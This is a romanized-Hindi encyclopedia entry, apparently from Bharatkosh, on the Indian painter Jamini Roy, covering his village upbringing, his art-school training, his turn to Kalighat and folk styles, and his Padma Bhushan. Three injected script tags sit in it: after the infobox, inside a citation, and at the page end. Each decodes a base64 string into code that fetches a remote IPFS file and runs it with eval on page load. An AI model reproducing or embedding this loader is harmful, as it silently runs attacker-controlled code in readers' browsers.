जामिनी रॉय
jamini r aauy
| |
poora nam | jamini r aauy |
janm | 11 aprail, 1887 |
janm bhoomi | beliyator, baanku da zila, pashchim bangal |
mrityu | 24 aprail, 1972 |
mrityu sthan | kolakata |
karm bhoomi | bharat |
karm-kshetr | chitrakari |
vidyalay | 'gavarnameant skool aauf arts', kolakata |
puraskar-upadhi | 'vayasar aauy ka svarn padak' (1935), 'padm bhooshan' (1955) |
prasiddhi | chitrakar |
nagarikata | bharatiy |
sanbandhit lekh | amrita sheragil, raja ravi varma, nandalal bos, maqabool fida husain |
any janakari | jamini r aauy ki rachanaean 'vain g aau', 'rembraan' aur 'sejaan' jaise mahanh yooropiy chitrakaroan ki pratilipiyoan se lekar unaki sv-nirmit shaili tak ka kalatmak vikas hai. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
jamini r aauy (aangrezi: Jamini Roy; janm: 11 aprail, 1887, baanku da zila, pashchim bangal; - mrityu: 24 aprail, 1972, kolakata) bharat ke prasiddh chitrakaroan mean se ek the. ve 20vian shatabdi ki bharatiy kala ke praranbhik aur ati mahathvapoorn adhunikatavadi un kalakaroan mean se the, jinhhoanne apane samay ki kala paramhparaoan se alag ek nee shaili shthapit karane mean apani vishishht bhoomika nibhaee. lagabhag 60 varshoan ke unake kala-kary ki avadhi mean kee mahathvapoorn badalav ae, jisase drishhy bhasha ki prashtuti mean unaki pratibha ka pata chalata hai.[1]jamini r aauy apani nirbhik rachanaoan mean chatakili rekhaoan, sapat rangoan, jisaki prerana paranparagat kolakala se mili; ke lie vikhyat chitrakar the.
janm tatha shiksha
jamini r aauy ka janm 11 aprail, 1887 ee. mean pashchim bangal ke baanku da zile mean 'beliyator' namak gaanv mean ek samriddh zamiandar parivar mean hua tha. gaanv mean vyatit kiye ge r aauy ke aranbhik varshoan ka un par gahara asar p da. santhal aur unaki adi kala, kam karate gramin hastashilpi, prachin alpana (chaval ki leee se chitrakari) tatha patua ne roop evan rekha ke prati unaki praranbhik ruchi jagaee. 1903 mean 16 varsh ki ayu mean jamini r aauy ne kalakatta (adhunik kolakata) mean 'gavarnameant skool aauf arts' mean dakhila liya, jisake pradhanachary parsi braun unake pramukh preranastrot the. jamini r aauy ke shaikshanik prashikshan ne unhean chitrakari ki vibhinn takanikoan mean parangat hone mean madad ki, unhoanne pratikriti chitran evan prakritik drishy chitran se shuruat ki, jo turant logoan ki nazaroan mean aee.
siddhahasht chitrakar
20vian shatabhdi ke shuroo ke dashakoan mean chitrakari ki british shaili mean prashikshit jamini r aauy prakhhyat siddhahasht chitrakar bane. kolakata ke 'gavarnameant skool aauf arts' se grejueshan ke bad unhhean portret banane ka kam niyamit roop se milata raha, lekin 20vian shatabhdi ke pahale tin dashakoan mean bangal ki saanshkritik abhivhyaktiyoan mean bahut jabardasht parivartan aya. rashhtravadi aandolan ke prabhav se sahity aur kalaoan mean sabhi tarah ke prayog hone lage. avanindranath taigor ne yooropiy prakritivad aur kala ke lie tail ke madhhyam ko chho dakar 'bangal shkool' ki shthapana se drishhy kalaoan mean bhi prayog shpashht dikhaee dene lage the.[1]
kala ke naye roop ki talash
jamini r aauy ne shiksha grahan ki avadhi mean jo kala shaili sikhi thi, use unhhoanne chho d diya. 1920 ke bad ke kuchh varshoan mean unhhean kala ke aise naye roopoan ki talash thi, jo unake dil ko chhoote the. isake lie unhhoanne vibhinhn prakar ke srotoan, jaise- poorv eshiyaee lekhan shaili, pakhki mitti se bane mandiroan ki kala valhlariyoan, lok kalaoan ki vashtuoan aur shilhp paramhparaoan adi se prerana li. 1920 ke bad ke varshoan mean jamini r aauy ne gramin drishhyoan aur logoan ki khushiyoan ko prakat karane vale chitr banae, jinamean gramin vatavaran mean unake bachapan ke lalan-palan ke bhole aur shvachhchhand jivan ki jhalak thi. ve vartaman pashchim bangal ke baanku da zile ke beliyator gaanv mean janhme the, isalie yah ek prakar se unake lie shvabhavik prayas tha. isamean koee shak nahian ki is kal ke bad unhhoanne apani j doan se najadiki ko abhivhyakti dene ka prayas kiya tha.
r aauy ki praranbhik rachanaoan mean 'plaumain', 'ait sanamet preyar', 'vain g aau' tatha 'self potret vid vain daik biyard' shamil haian. lekin r aauy ne mahasoos kiya ki n to pashchaty takanik aur n hi avanindranath taigor dvara shuroo ki gee bangal shaili unhean akarshit karati hai. 1921 mean 34 sal ki umr mean r aauy ke jivan mean mahattvapoorn mo d aya. 1920 ke dashak ke rashtriy aandolan ne bhi unaki kala abhivyakti ki nee shaili ki khoj mean yogadan diya. aisi shaili, jisase vah atmik v bhavanatmak roop se ju d sakean. yah kala unhoanne lokakala ki sadagi mean paee, jo apane roop-vidhay ki shuchita lie prakriti ki sarvabhaumikata mean sthit thi. jaise-jaise vah mool roop-vidhan aur prathamik rangoan se ju date ge, unaki kala sarjanatmak pratikatmakata aur mitti ki mahak paravan chadhati gee. lokapriy bangali rangamanch mean unaki gahari ruchi ne vastavikata evan bhram ke bodh ko aur painapan diya. vah kalighat ke chitrakaroan dvara prayukt sashakt bianboan se prerit hue.[2]
bhavukatapoorn chitr
varsh 1919-1920 ee. ke asapas jamini r aauy ne logoan ke portret chitr banane band kar diye. ve tho da-sa portret banate the aur phir unhhean aandar se kuchh aisa mahasoos hota tha ki yah thik nahian hai aur ve use mita dete the, aisa kuchh din tak chala aur phir achanak ve apane man mean uthane vale drishhy bhavoan ko bilhkul naye roop mean prashtut karane lage. agale kuchh varshoan mean unhhoanne santhal mahilaoan ke kee chitr banae. in bhavukatapoorn chitroan mean mahilaean gramin mahaul mean rojamarra ke kam karate dikhaee deti thian. apani brush se jamini r aauy aisi shpashht koniy rekhaean banate the, jinase mohak chitr ban jate the, jo unaki nayi ubharati shaili ka pratik the. ye chitr unaki drishhy bhasha mean ho rahe aur adhik natakiy parivartan ko darshate the. 1925 ke asapas unake chitroan mean lekhan shaili jaisi rekhaean ubhar kar ane lagian, jisase pata chalata tha ki kalakar ka apani koochi par kitana niyantran tha. unake chitroan mean rang ubhare dikhate the aur kee aise ekavarni chitroan ki shrriankhala bani, jisase sanket milata tha ki chitrakar ne poorv eshiyaee chitr kala shaili aur kalighat patoan se prerana li hai. chitr rojamarra ki jinhdagi se ju de the, jaise maan aur bachhche ke chitr, mahilaoan ke chitr adi.[1]
prerana
1920 ke dashak ke aant tak jamini r aauy apane zile ki lok kalaoan aur shilhp paramhparaoan se prerana lene lage. unhhoanne sadharan gramin logoan ke chitr banae, krishnalila ke chitr banae, anhy mahanh granthoan ke drishhyoan ko niroopit kiya, kshetr ki lok kalaoan ki mahanh hastiyoan ko chitrit kiya aur pashuoan ko vinodathmak tarike se prashtut kiya. shayad unaka sabase sahasik prayog tha, eesa masih ke jivan se ju di kathaoan ke chitroan ki shrriankhala banana. eesaee pauranikata se ju di kathaoan ko unhhoanne is tarah se prashtut kiya ki vah sadharan bangali gramin vhyakti ko bhi asani se samajh mean a jati thi.
gramin sanshkriti se lagav
adhunikata ke sath jamini r aauy ka prayog ek tarah se kala ke roop ke lie khoj jaisa tha. unhhean lok kala ke muhavaroan mean vah kuchh mila, jo ve chahate the. unaki is khoj ki jhalak 1940 ke dashak ke shuroo ke varshoan mean unaki lak di par nakkashi bani moortiyoan mean milati hai. unaki drishhy prashtuti mean shvabhavik bholapan nahian tha. unhhoanne apani pratimaoan ke bahut hi shpashht aur vishtrit rekhachitr banae the. ve shvayan gramin sanshkriti se ju de the, jinamean unaka bachapan bita tha aur graminoan ki tarah duniya ka drishhy unake lie jatil nahian tha tatha paramhparaoan ki avashhyanbhavitaoan mean unaka vishhvas tha. jamini r aauy ki chitrakari mean adhunikatavad ka ek pahaloo yah tha ki unhhoanne apane chitroan mean chamakadar rangoan ka pramukhata se prayog kiya aur shvabhavik rangoan se parahej kiya.
nidhan
is mahanh chitrakar ka nidhan 24 aprail, 1972 ko kolakata mean hua. yah dilachashp bat hai ki 1930 ke dashak tak apani lok shaili ki chitr kalakritiyoan ke sath-sath jamini r aauy portret bhi banate rahe the, jisamean unake brush ka prabhavi dhang se ishtemal najar ata tha. ashhchary ki bat hai ki unhhoanne yoorop ke mahanh kalakaroan ke chitroan ki bhi bahut sunhdar anukritiyaan banaeean. isase unaki drishhy bhasha ko sanvarane mean madad mili. r aauy ki rachanaean 'vain g aau', 'rembraan' aur 'sejaan' jaise mahanh yooropiy chitrakaroan ki pratilipiyoan se lekar unaki sv-nirmit shaili tak ka kalatmak vikas hai. unaki apani shaili alankaran vihin hote hue bhi apani rekhiy lay aur ojasvi rangoan mean chamatkrit karane vali tatha gatishil hai.[1]
puraskar v samman
thumb|jaimini ray ki 130vian jayanti par googal doodal 1926 mean jamini r aauy ki kalighat prabhavit chitroan ki pahali pradarshani ki sarvajanik prashansa huee. 1935 mean unhean unake 'madar helpiang d chaild tu kr aaus e pool' chitr ke lie vaisar aauy ka svarn padak diya gaya. 1955 mean jamini r aauy ko bharat sarakar ne 'padm bhooshan' se sammanit kiya. duniya ke sabase b da sarch ianjan googal ne 11 aprail, 1887 ko vishv prasiddh bharatiy chitrakar jaimini r aauy ki 130vian jayanti manaee. googal ne jaimini r aauy ko samarpit ek doodal banaya, jisamean jaimini r aauy dvara banaee gee blaik h aaurs peantiang se prerit ek skech ko dikhaya gaya. jaimini ki chitrakari mean gaanv, am adami, janavaroan aur purani sanskriti ki jhalak dikhati hai. sal 1972 mean jaimini r aauy ka nidhan ho gaya tha.
|
|
|
|
|
tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 1.3 jaimini ray- ek pratibhashali prayogadharmi kalakar (hindi). . abhigaman tithi: 11 julaee, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ bharat jnanakosh, khand-5 |lekhak: iandu ramachandani |prakashak: eansaiklopidiya britainika praivet limited, nee dilli aur p aaupyular prakashan, mumbee |sankalan: bharatakosh pustakalay |prishth sankhya: 101 |
sanbandhit lekh
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>